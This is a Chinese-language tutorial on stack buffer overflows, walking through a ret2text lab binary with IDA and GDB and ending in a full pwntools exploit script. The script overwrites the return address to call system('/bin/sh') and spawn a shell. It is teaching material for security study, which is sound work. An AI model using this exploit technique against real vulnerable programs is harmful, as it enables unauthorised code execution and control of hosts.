1、什么是栈溢出?
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致栈中与其相邻的变量的值被改变。
2、栈结构
3、栈溢出需要解决的问题
在我们知道什么是栈溢出以及了解了栈的结构之后,我们就可以开始通过栈溢出破坏栈结构。
在破坏栈结构的时候,我们需要注意两个问题:
1、如何跳转?
2、跳转到哪里去?
3.1、解决如何跳转的问题
在上面栈结构的图中,在当前栈帧中向栈中某个变量中写入值的时候,我们就可以写入超过了这个变量本身所申请的字节数,不断的往上覆盖直到其返回值地址的地方,从而到我们想要的地址的地方写入我们要写入的地址。
简而言之:我们调用完一个函数后,函数会返回,并执行下一个函数。我们就需要把这个返回地址覆盖成我们的shellcode,进而让函数执行我们的shellcode,从而拿到shell,控制其程序的目的。(在此文章中是返回到系统的system("/bin/sh")函数上)
实例如下:
1、首先我们准备一个二进制程序
这是一个32位的程序
2、我们通过IDA来看一下汇编代码
我们先反汇编一下
看到这个函数调用了puts和gets函数,并且其中的s并未做大小的校验。此时我们的思路就活跃了起来,s作为gets函数的参数,并且保存在栈上,我们就可以通过向s的地址中写入数据的时候覆盖掉栈的其他数据。
我们通过GDB实战一下:
我们先调试起来,让其运行到gets函数:
此时汇编在向下走我们就需要输入数据了,并且S的地址为0xf7ffd000,栈的第一个参数的地址为0xffffd41c, 此时我们来看一下栈的栈结构
此时在栈中,我们发现我们输入的数据是从eax开始的,那么我们从上面的栈结构的图中了解到,我们就可以不断向上覆盖到ebp,返回地址,参数等等。
我们实验覆盖到ebp。
ebp的地址为0xffffd488,eax的地址为0xffffd41c,ebp-eax=0x6c。
此时我们输入0x6c个a看看实际效果:
此时会发现我们精准的覆盖了ebp到eax之间的内容。
不相信的话我们在试试覆盖一下ebp试一下呢?
我们写入 0x6c个a+0x04个b试试看效果:
此时我们的ebp就被覆盖成了bbbb,此时我们就完成了如何跳转的问题了。
3.2、跳转到哪里去?
在上面我们解决了如何跳转的问题,那么跳到哪里去呢?
根据上面的栈结构,毋庸置疑肯定跳到返回地址的地方嘛,调到返回地址的地方,如果此时我们填上了我们准备好的shell code,那岂不是就可以执行我们的shell code,从而获取shell了。
这里先实验第一种方法(后续方式另写文章补充):
本身程序具有system函数
我们使用IDA看一下:
我们发现程序中有system函数,并且在0x0804863A这个地址会把“/bin/sh”传给system函数,此时我们的目标就明了了。
覆盖到返回地址为0x0804863A并执行system函数从而反弹shell拿到这个程序的控制权限
4、实战
我们实战的时候使用Python来编写脚本,为什么呢?
因为Python集成的有pwn库,用来做栈溢出非常的方便。
# coding=UTF-8
from pwn import *
p = process("./ret2text") #指定程序
elf=ELF("./ret2text") # 加载ELF 为了pwn 可以解析./ret2text这个二进制文件
libc=ELF("/lib/i386-linux-gnu/libc-2.27.so")# 加载libc
padding = 'a'*0x6c # 准备0x6c个a覆盖到ebp
fake_ebp= 'a'*0x4 # 准备0x4个a覆盖ebp
retcode = 0x0804863A # 准备好需要覆盖的地址,也就是上述中传参给system的地址
payload = padding + fake_ebp+p32(retcode) #把上述准备的字符串打包成payload
p.sendlineafter("do you know anything?\n",payload) #在二进制程序的do you know anything?打印之后也就是执行gets函数时传入我们准备好的payload
p.interactive()
来试验一下看看效果:
此时我们就拿到了shell权限,通过这个二进制程序控制其主机。